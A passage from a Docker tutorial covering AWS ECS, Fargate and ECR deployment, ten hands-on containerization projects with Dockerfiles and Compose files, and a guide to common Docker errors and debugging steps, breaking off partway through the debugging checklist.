ECR	Elastic Container Registry — private image registry	Store Docker images for AWS deployments
ECS	Managed container orchestration service	Production workloads, teams familiar with Docker
Fargate	Serverless containers — no EC2 management	Simple deployments, variable load, no infrastructure operations
EKS	Managed Kubernetes service	Complex microservices, existing Kubernetes expertise
App Runner	Fully managed container platform	Simple web apps, fastest time-to-deploy

ECS Architecture

Understanding how ECS maps to Docker concepts:

Task Definition — Blueprint for container configuration, similar to a docker-compose.yml. Defines image, ports, environment variables, CPU and memory limits.
Task — A running instance of a task definition. Equivalent to a running container or group of containers.
Service — Maintains the desired task count, automatically replaces failed tasks, and integrates with a load balancer.
Cluster — A group of EC2 instances or Fargate compute resources on which tasks are scheduled.

ECS Task Definition — Complete Example

{
  "family": "myapp",
  "networkMode": "awsvpc",
  "requiresCompatibilities": ["FARGATE"],
  "cpu": "512",
  "memory": "1024",
  "executionRoleArn": "arn:aws:iam::123456789:role/ecsTaskExecutionRole",
  "taskRoleArn": "arn:aws:iam::123456789:role/ecsTaskRole",
  "containerDefinitions": [
    {
      "name": "myapp",
      "image": "123456789.dkr.ecr.ap-south-1.amazonaws.com/myapp:v1.0",
      "portMappings": [
        {
          "containerPort": 3000,
          "protocol": "tcp"
        }
      ],
      "environment": [
        {
          "name": "NODE_ENV",
          "value": "production"
        }
      ],
      "secrets": [
        {
          "name": "DATABASE_URL",
          "valueFrom": "arn:aws:secretsmanager:ap-south-1:123456789:secret:myapp/db-url"
        }
      ],
      "logConfiguration": {
        "logDriver": "awslogs",
        "options": {
          "awslogs-group": "/ecs/myapp",
          "awslogs-region": "ap-south-1",
          "awslogs-stream-prefix": "ecs"
        }
      },
      "healthCheck": {
        "command": ["CMD-SHELL", "curl -f http://localhost:3000/health || exit 1"],
        "interval": 30,
        "timeout": 5,
        "retries": 3,
        "startPeriod": 60
      }
    }
  ]
}

Note: Never store secrets directly in environment variable definitions. Use AWS Secrets Manager or Parameter Store. ECS automatically injects secrets as environment variables at runtime — they are not stored in the image.

Practical AWS Deployment Workflows

Complete Deployment Script — React App to AWS Fargate

Tip: Copy this script into your project, set the variables to match your setup, and deploy your entire application with a single command: bash deploy.sh

#!/bin/bash
# deploy.sh - Complete deployment script

set -e   # Stop the script if any step fails

# Variables — set your own values here
APP_NAME="myreactapp"
AWS_ACCOUNT_ID="123456789012"
AWS_REGION="ap-south-1"
ECR_REGISTRY="$AWS_ACCOUNT_ID.dkr.ecr.$AWS_REGION.amazonaws.com"
IMAGE_TAG=$(git rev-parse --short HEAD)   # Use Git SHA as tag

echo "Starting deployment of $APP_NAME:$IMAGE_TAG"

# Step 1: Build image
echo "Building Docker image..."
docker build \
  --build-arg REACT_APP_API_URL=https://api.myapp.com \
  -t $APP_NAME:$IMAGE_TAG \
  .

# Step 2: Authenticate with ECR
echo "Authenticating with ECR..."
aws ecr get-login-password --region $AWS_REGION | \
  docker login --username AWS --password-stdin $ECR_REGISTRY

# Step 3: Tag for ECR
docker tag $APP_NAME:$IMAGE_TAG $ECR_REGISTRY/$APP_NAME:$IMAGE_TAG
docker tag $APP_NAME:$IMAGE_TAG $ECR_REGISTRY/$APP_NAME:latest

# Step 4: Push to ECR
echo "Pushing to ECR..."
docker push $ECR_REGISTRY/$APP_NAME:$IMAGE_TAG
docker push $ECR_REGISTRY/$APP_NAME:latest

# Step 5: Update ECS service (force new deployment)
echo "Updating ECS service..."
aws ecs update-service \
  --cluster production \
  --service $APP_NAME-service \
  --force-new-deployment \
  --region $AWS_REGION

# Step 6: Wait for deployment to stabilize
echo "Waiting for deployment to stabilize..."
aws ecs wait services-stable \
  --cluster production \
  --services $APP_NAME-service \
  --region $AWS_REGION

echo "Deployment successful! Image: $ECR_REGISTRY/$APP_NAME:$IMAGE_TAG"

AWS Fargate with Application Load Balancer

# Create ECS cluster (Fargate mode)
aws ecs create-cluster --cluster-name production

# Create ALB target group
aws elbv2 create-target-group \
  --name myapp-tg \
  --protocol HTTP \
  --port 3000 \
  --vpc-id vpc-12345 \
  --target-type ip \              # Use 'ip' for Fargate, not 'instance'
  --health-check-path /health

# Create ECS service with Fargate — 2 replicas for high availability
aws ecs create-service \
  --cluster production \
  --service-name myapp-service \
  --task-definition myapp:1 \
  --desired-count 2 \
  --launch-type FARGATE \
  --network-configuration "awsvpcConfiguration={subnets=[subnet-1,subnet-2],securityGroups=[sg-123],assignPublicIp=ENABLED}" \
  --load-balancers "targetGroupArn=arn:aws:elasticloadbalancing:...,containerName=myapp,containerPort=3000"

ECR — Common Operations

# Create ECR repository
aws ecr create-repository \
  --repository-name myapp \
  --image-scanning-configuration scanOnPush=true \   # Enable vulnerability scanning
  --region ap-south-1

# List images in repository
aws ecr list-images --repository-name myapp --region ap-south-1

# Delete old images (cost management)
aws ecr batch-delete-image \
  --repository-name myapp \
  --image-ids imageTag=old-tag

# Lifecycle policy — automatically delete old images
aws ecr put-lifecycle-policy \
  --repository-name myapp \
  --lifecycle-policy-text '{
    "rules": [{
      "rulePriority": 1,
      "description": "Keep last 10 images",
      "selection": {
        "tagStatus": "any",
        "countType": "imageCountMoreThan",
        "countNumber": 10
      },
      "action": {"type": "expire"}
    }]
  }'

10 Hands-On Docker Projects

Tip: Build all of these projects and push them to GitHub. Each project can become a resume bullet point. Recruiters and interviewers want to see working code — that is far more impactful than simply claiming Docker knowledge.

Project 1: React Portfolio Site

Difficulty: Beginner | Stack: React, Nginx, Docker | Concepts: Multi-stage build, static file serving

Convert a React application into a production-ready Docker image using Nginx for serving and optimal caching.

# Stage 1: Build React app
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci
COPY . .
RUN npm run build

# Stage 2: Serve with Nginx
FROM nginx:1.25-alpine
COPY --from=builder /app/build /usr/share/nginx/html
COPY nginx.conf /etc/nginx/conf.d/default.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]

docker build -t portfolio .
docker run -d -p 8080:80 --name portfolio portfolio
# Visit: http://localhost:8080

# Check image size
docker images portfolio

Tip: Resume bullet — "Containerized React portfolio using Docker multi-stage builds with Nginx, achieving 90%+ image size reduction vs non-optimized builds; deployed via CI/CD pipeline."

Project 2: Secure Node.js REST API

Difficulty: Beginner | Stack: Node.js, Express, Docker | Concepts: Non-root user, health checks, production dependencies only

FROM node:18-alpine

# Security: create a non-root user
RUN addgroup -S appgroup && adduser -S appuser -G appgroup

WORKDIR /app

COPY package*.json ./
RUN npm ci --only=production    # Only production dependencies

COPY --chown=appuser:appgroup . .

USER appuser                    # Switch to non-root user

EXPOSE 3000

HEALTHCHECK --interval=30s --timeout=5s --start-period=10s \
  CMD node -e "require('http').get('http://localhost:3000/health', r => process.exit(r.statusCode === 200 ? 0 : 1))"

CMD ["node", "server.js"]

docker build -t node-api .
docker run -d -p 3000:3000 node-api

# Check health check status
docker inspect --format='{{.State.Health.Status}}' $(docker ps -q)

# Test the API
curl http://localhost:3000/health

Project 3: Python FastAPI Data App

Difficulty: Beginner | Stack: Python, FastAPI, Uvicorn | Concepts: Python containerization, pip caching

FROM python:3.11-slim           # slim = smaller than full python image

WORKDIR /app

# Copy requirements first for better layer caching
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY . .

ENV PYTHONUNBUFFERED=1          # Python logs appear in Docker logs

EXPOSE 8000

CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"]

docker build -t fastapi-app .
docker run -d -p 8000:8000 fastapi-app

# Interactive API docs
# http://localhost:8000/docs

Project 4: Full MERN Stack Application

Difficulty: Intermediate | Stack: React, Node.js, MongoDB, Redis | Concepts: Multi-service Compose, service discovery, volumes

# docker-compose.yml - Full MERN Stack
services:
  frontend:
    build:
      context: ./frontend
      args:
        - REACT_APP_API_URL=http://localhost:5000
    ports:
      - "3000:80"               # Production: nginx serving
    depends_on:
      - backend

  backend:
    build: ./backend
    ports:
      - "5000:5000"
    environment:
      MONGODB_URI: mongodb://mongodb:27017/mern_db
      REDIS_URL: redis://redis:6379
    depends_on:
      - mongodb
      - redis

  mongodb:
    image: mongo:7
    volumes:
      - mongo_data:/data/db

  redis:
    image: redis:7-alpine

  mongo-express:              # MongoDB GUI — development only
    image: mongo-express
    ports:
      - "8081:8081"
    environment:
      ME_CONFIG_MONGODB_SERVER: mongodb
    depends_on:
      - mongodb

volumes:
  mongo_data:

# Start the complete MERN stack
docker compose up -d --build

# Check all services
docker compose ps

# Follow API logs
docker compose logs -f backend

# Access points:
# Frontend: http://localhost:3000
# Backend API: http://localhost:5000
# MongoDB GUI: http://localhost:8081

# Stop the stack (data is preserved)
docker compose down

Tip: Resume bullet — "Containerized full MERN stack using Docker Compose with service discovery, named volumes for data persistence, and Mongo Express GUI for development; reduced environment setup time from 2 hours to 5 minutes."

Project 5: WordPress + MySQL — Classic Stack

Difficulty: Intermediate | Stack: WordPress, MySQL 8 | Concepts: Health checks with conditions, restart policies, named volumes

services:
  mysql:
    image: mysql:8.0
    environment:
      MYSQL_ROOT_PASSWORD: rootpassword
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpresspassword
    volumes:
      - mysql_data:/var/lib/mysql
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
      interval: 10s
      retries: 5
      start_period: 30s

  wordpress:
    image: wordpress:latest
    ports:
      - "8080:80"
    environment:
      WORDPRESS_DB_HOST: mysql:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpresspassword
      WORDPRESS_DB_NAME: wordpress
    volumes:
      - wordpress_data:/var/www/html
    depends_on:
      mysql:
        condition: service_healthy    # Wait until MySQL is healthy
    restart: unless-stopped

volumes:
  mysql_data:
  wordpress_data:

docker compose up -d
# MySQL health check will be satisfied before WordPress starts
docker compose ps

# Visit: http://localhost:8080
# Complete the WordPress setup wizard

Project 6: Microservices with Nginx API Gateway

Difficulty: Intermediate | Stack: Node.js microservices, Nginx gateway, PostgreSQL | Concepts: API gateway pattern, service isolation, multiple databases

services:
  # Single entry point — all traffic routes through here
  api-gateway:
    image: nginx:alpine
    ports:
      - "80:80"
    volumes:
      - ./nginx/gateway.conf:/etc/nginx/conf.d/default.conf
    depends_on:
      - user-service
      - product-service

  user-service:
    build: ./user-service
    environment:
      DB_URL: postgresql://postgres:password@user-db:5432/users
    # No ports exposed externally — only accessible through the gateway
    depends_on:
      - user-db

  product-service:
    build: ./product-service
    environment:
      DB_URL: postgresql://postgres:password@product-db:5432/products
    depends_on:
      - product-db

  # Each service has its own database
  user-db:
    image: postgres:16-alpine
    environment:
      POSTGRES_DB: users
      POSTGRES_PASSWORD: password
    volumes:
      - user_db_data:/var/lib/postgresql/data

  product-db:
    image: postgres:16-alpine
    environment:
      POSTGRES_DB: products
      POSTGRES_PASSWORD: password
    volumes:
      - product_db_data:/var/lib/postgresql/data

volumes:
  user_db_data:
  product_db_data:

Tip: Resume bullet — "Designed and containerized microservices architecture with Nginx API gateway, service isolation, and per-service databases using Docker Compose; demonstrating event-driven service communication patterns."

Project 7: Image Size Optimization Challenge

Difficulty: Intermediate | Goal: 1.2 GB → under 100 MB | Concepts: Multi-stage builds, Alpine, production deps, .dockerignore

# BEFORE: Naive approach — DO NOT USE in production
FROM ubuntu:22.04
RUN apt-get update && apt-get install -y nodejs npm
COPY . /app
WORKDIR /app
RUN npm install              # All deps including devDependencies
# Final image size: ~1.2 GB

# AFTER: Optimized multi-stage build
FROM node:18-alpine AS builder
WORKDIR /app
COPY package*.json ./
RUN npm ci                   # All deps for building
COPY . .
RUN npm run build            # Compile/transpile

FROM node:18-alpine          # Fresh slim base
WORKDIR /app
COPY package*.json ./
RUN npm ci --only=production # Production deps only
COPY --from=builder /app/dist ./dist
USER node                    # Non-root
CMD ["node", "dist/server.js"]
# Final image size: ~85 MB (93% reduction)

# Compare before and after sizes
docker build -f Dockerfile.before -t app:before .
docker build -f Dockerfile.after -t app:after .
docker images | grep app

# Detailed layer analysis
docker history app:after

# Layer-by-layer analysis with dive
docker run --rm -it \
  -v /var/run/docker.sock:/var/run/docker.sock \
  wagoodman/dive app:after

Project 8: Full Monitoring Stack

Difficulty: Advanced | Stack: App + Prometheus + Grafana + cAdvisor | Concepts: Metrics collection, dashboards, alerting

services:
  app:
    build: .
    ports:
      - "3000:3000"
    # App must expose a /metrics endpoint (use prom-client npm package)

  prometheus:
    image: prom/prometheus
    ports:
      - "9090:9090"
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml
      - prometheus_data:/prometheus

  grafana:
    image: grafana/grafana
    ports:
      - "3001:3000"            # Use 3001 to avoid conflict with the app
    volumes:
      - grafana_data:/var/lib/grafana
    depends_on:
      - prometheus

  cadvisor:
    image: gcr.io/cadvisor/cadvisor
    volumes:
      - /:/rootfs:ro
      - /var/run:/var/run:ro
      - /sys:/sys:ro
      - /var/lib/docker:/var/lib/docker:ro
    ports:
      - "8080:8080"

volumes:
  prometheus_data:
  grafana_data:

docker compose up -d

# Access points:
# App: http://localhost:3000
# Prometheus: http://localhost:9090
# Grafana: http://localhost:3001 (admin/admin)
# cAdvisor: http://localhost:8080

# In Grafana:
# 1. Add data source: Prometheus, URL = http://prometheus:9090
# 2. Import dashboard: ID 893 (Docker monitoring)
# 3. Watch container metrics in real time

Project 9: Complete CI/CD Pipeline

Difficulty: Advanced | Stack: GitHub Actions, Docker Hub, SSH Deploy | Concepts: Automated build, test, push, deploy

name: CI/CD Pipeline

on:
  push:
    branches: [main]
    tags: ['v*']

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run tests in Docker
        run: |
          docker build --target test -t test-image .
          docker run --rm test-image npm test

  build-push:
    needs: test
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: docker/setup-buildx-action@v3
      - uses: docker/login-action@v3
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_TOKEN }}
      - uses: docker/build-push-action@v5
        with:
          push: true
          tags: |
            ${{ secrets.DOCKERHUB_USERNAME }}/myapp:latest
            ${{ secrets.DOCKERHUB_USERNAME }}/myapp:${{ github.sha }}
          cache-from: type=gha
          cache-to: type=gha,mode=max

  deploy:
    needs: build-push
    runs-on: ubuntu-latest
    steps:
      - name: Deploy to server via SSH
        uses: appleboy/ssh-action@v1.0.0
        with:
          host: ${{ secrets.SERVER_HOST }}
          username: ubuntu
          key: ${{ secrets.SSH_KEY }}
          script: |
            docker pull ${{ secrets.DOCKERHUB_USERNAME }}/myapp:latest
            docker stop myapp || true
            docker rm myapp || true
            docker run -d \
              --name myapp \
              --restart unless-stopped \
              -p 80:3000 \
              ${{ secrets.DOCKERHUB_USERNAME }}/myapp:latest
            echo "Deployment complete!"

Tip: Resume bullet — "Implemented end-to-end CI/CD pipeline using GitHub Actions: automated Docker image build and test on every push, Docker Hub publish with semantic versioning, and zero-touch SSH deployment to production server."

Project 10: Full Observability Stack (ELK + Jaeger + Prometheus)

Difficulty: Advanced | Stack: OpenTelemetry, Jaeger, Prometheus, ELK Stack | Concepts: Metrics + Tracing + Logging — the three pillars of observability

services:
  # Your application
  app:
    build: .
    environment:
      OTEL_SERVICE_NAME: myapp
      OTEL_EXPORTER_OTLP_ENDPOINT: http://otel-collector:4318
    depends_on:
      - otel-collector

  # OpenTelemetry Collector — central data routing hub
  otel-collector:
    image: otel/opentelemetry-collector-contrib
    volumes:
      - ./otel-config.yml:/etc/otelcol-contrib/config.yaml
    ports:
      - "4318:4318"   # OTLP HTTP

  # Distributed tracing — request flows across services
  jaeger:
    image: jaegertracing/all-in-one:latest
    ports:
      - "16686:16686"   # Jaeger UI

  # Metrics — numeric time-series data
  prometheus:
    image: prom/prometheus
    ports:
      - "9090:9090"
    volumes:
      - ./prometheus.yml:/etc/prometheus/prometheus.yml

  # Dashboards — metrics visualization
  grafana:
    image: grafana/grafana
    ports:
      - "3001:3000"
    environment:
      GF_SECURITY_ADMIN_PASSWORD: admin123

  # Logs — structured log storage
  elasticsearch:
    image: elasticsearch:8.11.0
    environment:
      discovery.type: single-node
      xpack.security.enabled: "false"
    volumes:
      - es_data:/usr/share/elasticsearch/data
    ports:
      - "9200:9200"

  # Log visualization
  kibana:
    image: kibana:8.11.0
    ports:
      - "5601:5601"
    environment:
      ELASTICSEARCH_HOSTS: http://elasticsearch:9200
    depends_on:
      - elasticsearch

volumes:
  es_data:

# Start full observability stack
docker compose up -d

# Wait for Elasticsearch to finish starting
docker compose logs -f elasticsearch | grep "started"

# Access points:
# App:          http://localhost:3000
# Jaeger UI:    http://localhost:16686  (request traces)
# Prometheus:   http://localhost:9090   (raw metrics)
# Grafana:      http://localhost:3001   (metric dashboards)
# Kibana:       http://localhost:5601   (log analysis)

# Generate some traffic
for i in {1..20}; do curl http://localhost:3000/api/users; done

Tip: Resume bullet — "Implemented complete observability stack using Docker Compose: OpenTelemetry instrumentation, Jaeger distributed tracing, Prometheus + Grafana metrics dashboards, and ELK stack log aggregation — full visibility into system behavior."

Projects Summary — Difficulty Progression

#	Project	Difficulty	Key Skill	Resume Impact
1	React Portfolio	Beginner	Multi-stage build	High
2	Node.js API	Beginner	Security, health checks	High
3	Python FastAPI	Beginner	Python containerization	Medium
4	MERN Stack	Intermediate	Multi-service Compose	Very High
5	WordPress + MySQL	Intermediate	Health check conditions	Medium
6	Microservices	Intermediate	API gateway pattern	Very High
7	Size Optimization	Intermediate	Layer optimization	High
8	Monitoring Stack	Advanced	Prometheus + Grafana	Very High
9	CI/CD Pipeline	Advanced	GitHub Actions	Very High
10	Observability Stack	Advanced	OTel + ELK + Jaeger	Exceptional

Common Errors and Solutions

The following errors are encountered by almost every Docker developer at some point. Each includes the root cause, solution, and prevention guidance.

Error: Cannot connect to the Docker daemon

Error: Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

Root Cause: The Docker daemon (dockerd) has not started or has crashed.

# Check daemon status
sudo systemctl status docker

# Start the daemon
sudo systemctl start docker

# Enable on boot
sudo systemctl enable docker

# Verify
docker info

Prevention: Always enable the Docker service on boot with systemctl enable docker. On Mac, ensure Docker Desktop is running before using the CLI.

Error: Permission denied on Docker socket

Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock

Root Cause: The current user is not a member of the docker group.

# Add user to docker group
sudo usermod -aG docker $USER

# Apply group change immediately (or log out and back in)
newgrp docker

# Verify
docker run hello-world

Prevention: Add the user to the docker group during initial Docker installation. In CI/CD pipelines, add the runner user to the docker group.

Error: Port is already allocated

docker: Error response from daemon: driver failed programming external connectivity on endpoint myapp: Bind for 0.0.0.0:8080 failed: port is already allocated.

Root Cause: Host port 8080 is already in use by another process or container.

# Find what is using the port
sudo lsof -i :8080
sudo ss -tulpn | grep :8080

# Kill the process (replace PID)
kill -9 <PID>

# OR use a different host port
docker run -p 8081:80 nginx

# Find running containers using the port
docker ps | grep 8080

Prevention: Use environment variables for port configuration. Run docker ps before starting new containers.

Error: No space left on device

ERROR: failed to solve: ... write /var/lib/docker/...: no space left on device

Root Cause: The Docker daemon's disk space is exhausted — old images, containers, and volumes have consumed all available space.

# Check disk usage
df -h
docker system df

# Full cleanup (removes everything unused)
docker system prune -a --volumes

# Selective cleanup
docker image prune -a    # Remove unused images
docker container prune   # Remove stopped containers
docker volume prune      # Remove unused volumes

Prevention: Set up a cron job for docker system prune. Monitor /var/lib/docker size. Use multi-stage builds to keep images small.

Error: Container exits immediately

Root Cause: The container's main process (CMD/ENTRYPOINT) completed, or it crashed with an error.

# Check logs first
docker logs container_id
docker logs container_id --tail 50

# Check exit code
docker inspect --format '{{.State.ExitCode}}' container_id

# Run interactively to debug
docker run -it myapp bash

# Bad: CMD nginx (exits immediately — starts as daemon)
# Good: CMD ["nginx", "-g", "daemon off;"]

# Override entrypoint for debugging
docker run -it --entrypoint bash myapp

Prevention: Use foreground commands in CMD. Test CMD locally first. Add proper health checks.

Error: Pull access denied

Error response from daemon: pull access denied for myapp, repository does not exist or may require 'docker login'

Root Cause: The image name is incorrect, authentication is missing for a private registry, or the image does not exist.

# Login to Docker Hub
docker login

# Login to a private registry
docker login registry.mycompany.com -u username -p password

# Check exact image name and tag
docker pull myapp:latest

# Full path required for private registries
docker pull registry.mycompany.com/team/myapp:v1.0

Prevention: Use full image paths. Store credentials in Docker credential stores, not plain text. Set up registry mirrors for CI/CD.

Error: Build context is extremely large

Sending build context to Docker daemon  2.5GB

Root Cause: A .dockerignore file is missing, so Docker sends the entire project directory (including node_modules, .git, etc.) to the daemon.

# Create .dockerignore file
cat > .dockerignore << 'EOF'
node_modules/
dist/
build/
.git/
.env
.env.local
*.log
npm-debug.log*
.DS_Store
coverage/
.nyc_output
EOF

# Verify build context size after
docker build --no-cache . 2>&1 | head -5

Prevention: Always create a .dockerignore when starting a new Docker project. Commit it to version control alongside your code.

Error: Docker Hub rate limit exceeded

Error response from daemon: toomanyrequests: You have reached your pull rate limit.

Root Cause: Docker Hub anonymous pull limit has been hit (100 pulls per 6 hours unauthenticated, 200 for free accounts).

# Authenticate first to increase the limit
docker login
docker pull nginx

# OR configure a registry mirror in /etc/docker/daemon.json:
{
  "registry-mirrors": ["https://mirror.gcr.io"]
}

# Restart Docker after configuration change
sudo systemctl restart docker

Prevention: Always authenticate in CI/CD. Use ECR or GCR as a pull-through cache.

Error: Container OOMKilled — exit code 137

Root Cause: The container exceeded its memory limit. The Linux OOM Killer forcefully terminated the process. Exit code 137 = 128 + 9 (SIGKILL).

# Check if OOM killed
docker inspect myapp | jq '.[0].State.OOMKilled'

# Check kernel logs for OOM
dmesg | grep -i "oom\|killed process"

# Increase memory limit
docker run --memory=1g --memory-swap=2g myapp

# Monitor memory usage
docker stats myapp

Prevention: Profile application memory in development. Set realistic limits based on actual usage plus a 20% buffer. Add memory monitoring alerts in production.

Error: ECONNREFUSED connecting to database

Error: connect ECONNREFUSED 127.0.0.1:5432

Root Cause: The application inside the container is using 127.0.0.1 or localhost to connect to the database. Inside a container, localhost refers to the container itself — not another container.

# WRONG - localhost inside container = the container itself
DB_HOST=localhost  # ❌
DB_HOST=127.0.0.1  # ❌

# CORRECT - use the container name or service name
DB_HOST=postgres   # ✅ (with docker compose)
DB_HOST=db         # ✅ (compose service name)

# Verify connectivity
docker exec myapp ping postgres
docker exec myapp nslookup postgres

Prevention: Never hardcode localhost for inter-container communication. Use environment variables for hostnames. Use user-defined networks for DNS resolution.

Error: Volume mount permission denied

Error: Permission denied: '/app/data'

Root Cause: The container process user does not own the host volume directory.

# Option 1: Match user/group
docker run -u $(id -u):$(id -g) -v $(pwd)/data:/app/data myapp

# Option 2: Fix host directory permissions
sudo chown -R 1000:1000 ./data

# Option 3: Fix permissions in Dockerfile
RUN mkdir -p /app/data && chown -R node:node /app/data
USER node

# Option 4: Use named volume (Docker manages permissions)
docker run -v myapp_data:/app/data myapp

Error: DNS resolution failure between containers

Error: getaddrinfo ENOTFOUND api-service

Root Cause: The default bridge network does not provide automatic DNS resolution between containers. Only user-defined networks include the embedded DNS server.

# Create a user-defined network
docker network create app-network

# Run both containers on the same network
docker run --name api-service --network app-network myapi
docker run --name frontend --network app-network myfrontend

# Now 'api-service' is resolvable by name
docker exec frontend curl http://api-service:3000

Prevention: Always use user-defined networks for multi-container applications. Docker Compose sets this up automatically.

Error: COPY file not found in build context

COPY failed: file not found in build context or excluded by .dockerignore: stat package.json: file not found

Root Cause: The file does not exist in the build context, .dockerignore has excluded it, or the Dockerfile is being run from the wrong directory.

# Check if file exists
ls -la package.json

# Check .dockerignore isn't excluding it
cat .dockerignore | grep package

# Build from the correct directory
docker build -t myapp .   # note the dot — build context = current directory

# To build from a parent directory
docker build -t myapp -f ./subdir/Dockerfile .

Error: exec format error

exec /docker-entrypoint.sh: exec format error

Root Cause: The image was built for a different CPU architecture (e.g., built on an M1 Mac for arm64, then run on a linux/amd64 server).

# Check image platform
docker inspect myapp | jq '.[0].Architecture'

# Build for a specific platform
docker build --platform linux/amd64 -t myapp .

# Build a multi-platform image using buildx
docker buildx create --use
docker buildx build --platform linux/amd64,linux/arm64 \
  -t myapp:latest --push .

Prevention: Always use --platform linux/amd64 when building for production servers from an M1/M2 Mac.

Error: Cache keeps invalidating — npm install runs every time

Root Cause: COPY . . is placed before RUN npm install, so any file change invalidates the cache and forces npm install to re-run.

# WRONG - cache breaks on every file change
FROM node:18
WORKDIR /app
COPY . .          # ❌ Any change = cache miss
RUN npm install   # Re-runs every time
CMD ["node", "server.js"]

# CORRECT - npm install only re-runs when package.json changes
FROM node:18
WORKDIR /app
COPY package*.json ./      # ✅ Only copy dependency manifest
RUN npm ci                 # Only runs when package.json changes
COPY . .                   # Source code (frequently changing)
CMD ["node", "server.js"]

Prevention: Always separate dependency installation from source code copying. This is one of the most important Dockerfile optimizations.

Error: No configuration file provided (Docker Compose)

no configuration file provided: not found

Root Cause: Docker Compose cannot find a docker-compose.yml or compose.yml in the current directory.

# Check the current directory
ls -la | grep -i compose

# Navigate to the correct directory and run again
cd /path/to/your/project
docker compose up

# OR specify the file explicitly
docker compose -f /path/to/docker-compose.yml up

# Compose searches for these files in order:
# 1. compose.yaml
# 2. compose.yml
# 3. docker-compose.yaml
# 4. docker-compose.yml

Error: Container status is unhealthy

Root Cause: The HEALTHCHECK command is failing. The application has not properly started, or the health endpoint is not responding.

# Inspect health check output
docker inspect --format '{{json .State.Health}}' myapp | jq .

# See the last 5 health check results
docker inspect myapp | jq '.[0].State.Health.Log'

# Manually run the health check command
docker exec myapp curl -f http://localhost:3000/health

# Temporarily disable to debug
docker run --no-healthcheck myapp

Prevention: Test health check commands manually before adding them to the Dockerfile. Use --start-period for applications that take time to start. Implement a /health endpoint in your application.

Error: OOMKilled on Python — ModuleNotFoundError

ModuleNotFoundError: No module named 'flask'

Root Cause: requirements.txt was not copied correctly, or pip install ran in the wrong directory.

# Correct Dockerfile order
FROM python:3.11-slim
WORKDIR /app                           # Set WORKDIR first
COPY requirements.txt .                # Copy requirements
RUN pip install --no-cache-dir -r requirements.txt  # Install
COPY . .                               # Then copy code
CMD ["python", "app.py"]

# Debug: check if packages are installed
docker exec -it myapp pip list | grep flask

# Rebuild without cache
docker build --no-cache -t myapp .

Error: nginx bind permission denied on port 80

nginx: [emerg] bind() to 0.0.0.0:80 failed (13: Permission denied)

Root Cause: A non-root user cannot bind to privileged ports below 1024.

# Option 1: Use port 8080 (non-privileged)
# In nginx.conf: listen 8080;
docker run -p 80:8080 nginx-custom

# Option 2: Add NET_BIND_SERVICE capability
docker run --cap-add NET_BIND_SERVICE -p 80:80 nginx-custom

# Option 3: Use the nginx-unprivileged image (uses port 8080 by default)
FROM nginxinc/nginx-unprivileged

Tip: When using a non-root user with nginx, always configure nginx.conf to listen on port 8080 or higher. Use nginxinc/nginx-unprivileged as the base image for a secure, non-root nginx setup.

Tip: docker logs and docker inspect are your best debugging tools. 90% of Docker errors can be diagnosed with just these two commands.

Debugging Methodology

Systematic Debugging — Step by Step

When something stops working, follow this systematic checklist. Do not make random changes without first diagnosing the problem.

Note: Approach Docker debugging like a doctor: check symptoms first, then diagnose, then treat. Never make changes without a clear diagnosis.

Step 1: Is the Container Running?

# Show running containers
docker ps

# Show ALL containers (including stopped)
docker ps -a

# Pretty format with useful columns
docker ps -a --format "table {{.Names}}\t{{.Status}}\t{{.Ports}}"

# Filter by container name
docker ps -a --filter name=myapp
# Check the STATUS column: "Exited (1) 2 minutes ago" = crashed
# "Exited (0) 2 minutes ago" = completed normally

Step 2: What Do the Logs Say?

# Last 100 lines of logs
docker logs --tail 100 myapp

# Follow logs in real time
docker logs -f myapp

# Logs from the last 1 hour
docker logs --since 1h myapp

# Logs with timestamps
docker logs -t myapp

# Filter for errors
docker logs myapp 2>&1 | grep -i "error\|fatal\|critical"

# Logs persist even for stopped containers until the container is removed
docker logs myapp

Step 3: What Is the Exit Code?

# Get exit code
docker inspect --format '{{.State.ExitCode}}' myapp

# Get full state information
docker inspect --format '{{json .State}}' myapp | jq .

# Exit code reference:
# 0   = Normal exit (success, or CMD completed)
# 1   = General error (application error)
# 2   = Misuse of shell command
# 125 = Docker daemon error
# 126 = Container command cannot be invoked
# 127 = Container command not found
# 130 = Container terminated by Ctrl+C (SIGINT)
# 137 = SIGKILL (OOM kill or docker kill)
# 139 = Segmentation fault
# 143 = SIGTERM (graceful shutdown)

Step 4: Can You Enter the Container?

# Enter a running container (bash for ubuntu/debian)
docker exec -it myapp bash

# For Alpine Linux (no bash by default)
docker exec -it myapp sh

# Run specific commands inside
docker exec myapp ls -la /app
docker exec myapp cat /app/config.json
docker exec myapp env | grep DB_

# If the container keeps crashing, override entrypoint to debug
docker run -it --entrypoint bash myapp
docker run -it --entrypoint sh myapp  # Alpine

Step 5: Check Resource Usage

# Live stats for a specific container
docker stats myapp

# Live stats for all containers
docker stats

# One-time snapshot (no streaming)
docker stats --no-stream

# Check process list inside container
docker top myapp

# Check resource limits set on container
docker inspect --format '{{json .HostConfig.Memory}}' myapp

Step 6: Network Inspection

# Inspect a network
docker network inspect app-network

# Check container's network settings
docker inspect --format '{{json .NetworkSettings}}' myapp | jq .

# Test DNS resolution from inside the container
docker exec myapp nslookup postgres
docker exec myapp nslookup google.com

# Test connectivity
docker exec myapp curl -v http://api-service:3000/health
docker exec myapp ping -c 3 postgres

# Check which networks the container is on
docker inspect --format '{{json .NetworkSettings.Networks}}' myapp | jq 'keys'

# Show port mappings
docker port myapp

Step 7: Check Events

# All events in the last hour
docker events --since 1h

# Filter by container
docker events --since 1h --filter container=myapp

# Filter by event type
docker events --filter type=container --filter event=oom

# Watch events live
docker events

# Events by image
docker events --filter image=myapp:latest

Step 8: Full Configuration Inspect

# Full JSON inspection
